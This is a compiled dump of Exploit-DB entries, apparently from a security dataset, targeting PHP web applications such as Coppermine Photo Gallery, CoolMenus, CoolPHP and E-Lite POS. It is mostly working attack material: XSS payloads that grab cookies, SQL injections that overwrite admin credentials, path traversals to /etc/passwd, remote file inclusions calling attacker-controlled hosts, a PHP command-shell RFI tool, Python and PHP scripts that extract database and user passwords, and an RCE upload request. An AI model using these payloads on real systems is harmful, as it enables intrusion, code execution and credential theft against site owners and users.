deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27768
Description: CoolMenus 4.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-28
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17738/info

CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This BID has been retired. The initial report included erroneous information about the application. Further information has been published indicating that the allegedly vulnerable code is not present in the application.

<?php
/*
CoolMenus Event Remote File Inclusion exploit Cod3d by R@1D3N
credit:Kurdish Security
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"/event/index.php?page="

example:
target:http://www.site.com/event/index.php?page=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."target:<br><input type=\"text\" name=\"target\" size=\"90\"
value=\"".$target."\"><br>"
     ."cmdshell:<br><input type=\"text\" name=\"cmdshell\" size=\"90\"
value=\"".$cmdshell."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
Exploit-DB #27912
Description: CoolPHP - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-27
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18124/info

CoolPHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/coolphp/index.php?op=[XSS]
Exploit-DB #24685
Description: CoolPHP 1.0 - Multiple Remote Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2004-10-16
Author: R00tCr4ck

Exploit:
source: https://www.securityfocus.com/bid/11437/info

Reportedly CoolPHP is affected by multiple remote input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to using it to make critical actions.

An attacker can leverage these issues to steal cookie-based authentication credentials as well as carry out other malicious activities through cross-site scripting attacks. An attacker can also leverage this issue to execute arbitrary server-side scripts using file include attacks.

Cross-Site Scripting:
http://www.example.com/index.php?op=buscar&query=<script language=javascript>window.alert(document.cookie);</script>
http://www.example.com/index.php?op=buscar&query=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?op=userinfo&nick=<script language=javascript>window.alert(document.cookie);</script>

File Include:
http://www.example.com/index.php?op=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FattackerControlledDirectory/attackerScript.php
Exploit-DB #30803
Description: CoolShot E-Lite POS 1.0 - Login SQL Injection
Type: webapps
Platform: php
Date: 2007-11-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26558/info

E-lite POS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects E-Lite POS 1.0; other versions may also be vulnerable. 

-1' UPDATE users set user_name= 'admin' Where(user_iD= '1');--
-1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');--
Exploit-DB #27669
Description: Coppermine 1.4.4 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-04-17
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/17570/info

Coppermine is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

Version 1.4.4 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00
Exploit-DB #51738
Description: Coppermine Gallery 1.6.25 - RCE
Type: webapps
Platform: php
Date: 2023-10-09
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: coppermine-gallery 1.6.25 RCE
Application: coppermine-gallery
Version: v1.6.25  
Bugs:  RCE
Technology: PHP
Vendor URL: https://coppermine-gallery.net/
Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip
Date of found: 05.09.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps


1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.
$ cat >> test.php 
<?php echo system('cat /etc/passwd'); ?>
$ zip test.zip test.php

1. Login to account
2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
3. Upload zip file
4. Visit to php file   http://localhost/cpg1.6.x-1.6.25/plugins/test.php



poc request

POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1
Host: localhost
Content-Length: 630
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c
Connection: close

------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="plugin"; filename="test.zip"
Content-Type: application/zip

PK
�����b%Wz½µ}(���(�����test.phpUT	�ñòödÓòödux���������<?php echo system('cat /etc/passwd');?>
PK
�����b%Wz½µ}(���(������������¤����test.phpUT�ñòödux���������PK������N���j�����
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="form_token"

50982f2e64a7bfa63dbd912a7fdb4e1e
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="timestamp"
[PII_REDACTED]
------WebKitFormBoundaryi1AopwPnBYPdzorF--
Exploit-DB #37437
Description: Coppermine Photo Gallery - 'index.php' Script SQL Injection
Type: webapps
Platform: php
Date: 2012-06-20
Author: Taurus Omar

Exploit:
source: https://www.securityfocus.com/bid/54115/info

Coppermine Photo Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?cat=14 [SQLi]
Exploit-DB #22473
Description: Coppermine Photo Gallery 1.0 - PHP Code Injection
Type: webapps
Platform: php
Date: 2003-04-07
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/7300/info

Coppermine Photo Gallery has been reported prone to PHP code injection attacks.

Due to a lack of sufficient sanitization performed on user-supplied filenames that are uploaded into the Photo Gallery, an attacker may upload a malicious JPEG. The attacker may craft it in such a way that PHP code execution will occur when the image is viewed.

This attack may result in arbitrary PHP code execution in the security context of the web server that is hosting the vulnerable application. 

http://www.example.com/albums/userpics/Copperminer.jpg.php?[command]

Where command can be something like "id;uname%20-a" or "cat%20/etc/passwd"

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22473.tar.gz
Exploit-DB #24074
Description: Coppermine Photo Gallery 1.2.0 RC4 - 'init.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-04-30
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10253/info
  
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
  
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com
Exploit-DB #24073
Description: Coppermine Photo Gallery 1.2.0 RC4 - 'startdir' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-04-30
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10253/info
 
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
 
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../..
Exploit-DB #2375
Description: Coppermine Photo Gallery 1.2.2b (Nuke Addon) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-15
Author: 3l3ctric-Cracker

Exploit:
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Coppermine Photo Gallery v1.2.2b for PHPNUKE (THEME_DIR) Remote File Include
Vulnerability
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Level:Dangerous
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Affected Versions:
1.0 RC3
1.1 beta 2
1.1 .0
1.2
1.2.1
1.2.2 b
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Code in: themes.php
Vul code:Vul code:require($THEME_DIR."/user_list_info_box.inc");
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit
victim.com/modules/coppermine/themes/default/theme.php?THEME_DIR=evill code
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
dork: Powered By Coppermine Photo Gallery v1.2.2b /Powered By Coppermine
Photo Gallery v1.2.1
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Greetz:str0ke-Thehacker-AsianEagle-Nukedx-NETTOXIC-All Ayyildiz Team
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2006-09-15]
Exploit-DB #24072
Description: Coppermine Photo Gallery 1.2.2b - 'menu.inc.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-30
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10253/info

Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands. 

Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);>
Exploit-DB #24075
Description: Coppermine Photo Gallery 1.2.2b - 'theme.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-04-30
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10253/info
   
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
   
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com
Exploit-DB #1317
Description: Coppermine Photo Gallery 1.3.2 - File Retrieval / SQL Injection
Type: webapps
Platform: php
Date: 2005-11-13
Author: DiGiTAL_MiDWAY

Exploit:
# tested and approved /str0ke

#CPG Exploit
#File Retrieval by SQL Injection.
#By Default this exploit get the config.inc.php file which
#contains the db user/pass
#If you want to get another file you need to have the good cookie
#you can use this phpscript to get good cookie :
##<?
##$tab[]=$_GET['inj'];
##$val=base64_encode(serialize($tab));
##echo $val;
##?>
#
#By DiGiTAL_MiDWAY


import urllib2, sys
from urllib import urlencode
import zipfile

if(len(sys.argv)<2):
    print 'usage : %s http://host/Path/ tableprefix[default : cpg132_ for v1.3.1 use cpg1d_]' % sys.argv[0]
    sys.exit(0)
site=sys.argv[1]
try:
    prefix=sys.argv[2]
except:
    prefix='cpg132_'

print '''File Retrieval by SQL Injection for Coppermine Photo Gallery v<=1.3.2
                   by DiGiTAL_MiDWAY [digital.midway@gmail.com]'''

cook='YToxOntpOjA7czo1MToiJycpIFVOSU9OIFNFTEVDVCAnLi4vaW5jbHVkZS8nLCAnY29uZmlnLmluYy5waHAnIC8qIjt9'
# '') UNION SELECT filepath,file /*

req=urllib2.Request(site+'zipdownload.php')
req.add_header('Cookie', urlencode({prefix+'fav' : cook}))

zip=open('test.zip', 'wb')
print '[+]Opening WebPage'
try:
    f=urllib2.urlopen(req).read()
except:
    print '[+]Failed to opening website', sys.exc_info()
    sys.exit(0)
zip.write(f)
zip.close()
monzip=zipfile.ZipFile('test.zip', 'r')
try:
    conf=monzip.read('config.inc.php')
except:
    print '[+]Exploit failed....'
    sys.exit(0)
monzip.close()
conf=conf[conf.find("$CONFIG['dbuser'] =")+len("$CONFIG['dbuser'] ="):]
conf=conf[conf.find("'")+1:]
user=conf[:conf.find("'")]
conf=conf[conf.find("$CONFIG['dbpass'] =")+len("$CONFIG['dbpass'] ="):]
conf=conf[conf.find("'")+1:]
passwd=conf[:conf.find("'")]
print '[+]Exploit Succeed'
print '[+]User :', user, 'Pass :', passwd

# milw0rm.com [2005-11-13]
Exploit-DB #3371
Description: Coppermine Photo Gallery 1.3.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-02-24
Author: s0cratex

Exploit:
<?
# Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
# by s0cratex, RTM Member
# Visit: www.zonartm.org

/*
You need make a small work... Add a fav pic, enter to the site and add
/addfav.php?pid=2 for example..xD
... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo
chr($i); break; }  }
the word "download" depends of the language...
*/

# saludos a rgod, OpTix, crypkey 'n mechas...

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$host = "localhost"; $path = "/cpg"; $port = "80";
$id = "1";

echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
echo "--------------------------------------------------------------\n";
echo "\n";
echo "Username -> ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx = fsockopen($host,$port);
fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx)){
if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; }  }
fclose($cnx);
if ($x==255) {
die("\n Try again..."); }
}
$j++;
}
echo "\n";
echo "Password -> ";
$a = 1; $pass = "";
while(!strstr($pass,chr(0))){
for($i=0;$i<255;$i++){
$xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx2 = fsockopen($host,$port);
fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx2)){
if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; }
}
fclose($cnx2);
if ($i==255) {
die("\n Try again..."); }
}
$a++;
}
echo "--------------------------------------------------------------\n";
echo "s0cratex@zonartm.org || if you speak spanish->MSN: s0cratex@hotmail.com ..xD\n";
echo "www.zonartm.org/blog/s0cratex\n";
echo "plexinium.com comming soon <- Hacking Nica\n";
?>

# milw0rm.com [2007-02-24]
Exploit-DB #30463
Description: Coppermine Photo Gallery 1.3/1.4 - 'YABBSE.INC.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-08
Author: Ma$tEr-0F-De$a$t0r

Exploit:
source: https://www.securityfocus.com/bid/25243/info

Coppermine Photo Gallery is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Coppermine 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/path/bridge/yabbse.inc.php?sourcedir=[Sh3LL]
Exploit-DB #29568
Description: Coppermine Photo Gallery 1.4.10 - Multiple Local/Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-02-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/22409/info

Coppermine Photo Gallery is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process. This may facilitate a remote compromise of the underlying system; other attacks are also possible.

http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?
Exploit-DB #30595
Description: Coppermine Photo Gallery 1.4.12 - 'log' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-17
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/25698/info
 
Coppermine Photo Gallery is prone to a cross-site scripting issue and a local file-include issue.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary code, and retrieve arbitrary content within the context of the webserver process.
 
Coppermine Photo Gallery 1.4.12 is vulnerable; other versions may also be affected. 

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00
Exploit-DB #30594
Description: Coppermine Photo Gallery 1.4.12 - 'referer' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-17
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/25698/info

Coppermine Photo Gallery is prone to a cross-site scripting issue and a local file-include issue.

Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary code, and retrieve arbitrary content within the context of the webserver process.

Coppermine Photo Gallery 1.4.12 is vulnerable; other versions may also be affected. 

http://www.example.com/cpg/mode.php?admin_mode=1&referer=javascript:alert(document.cookie)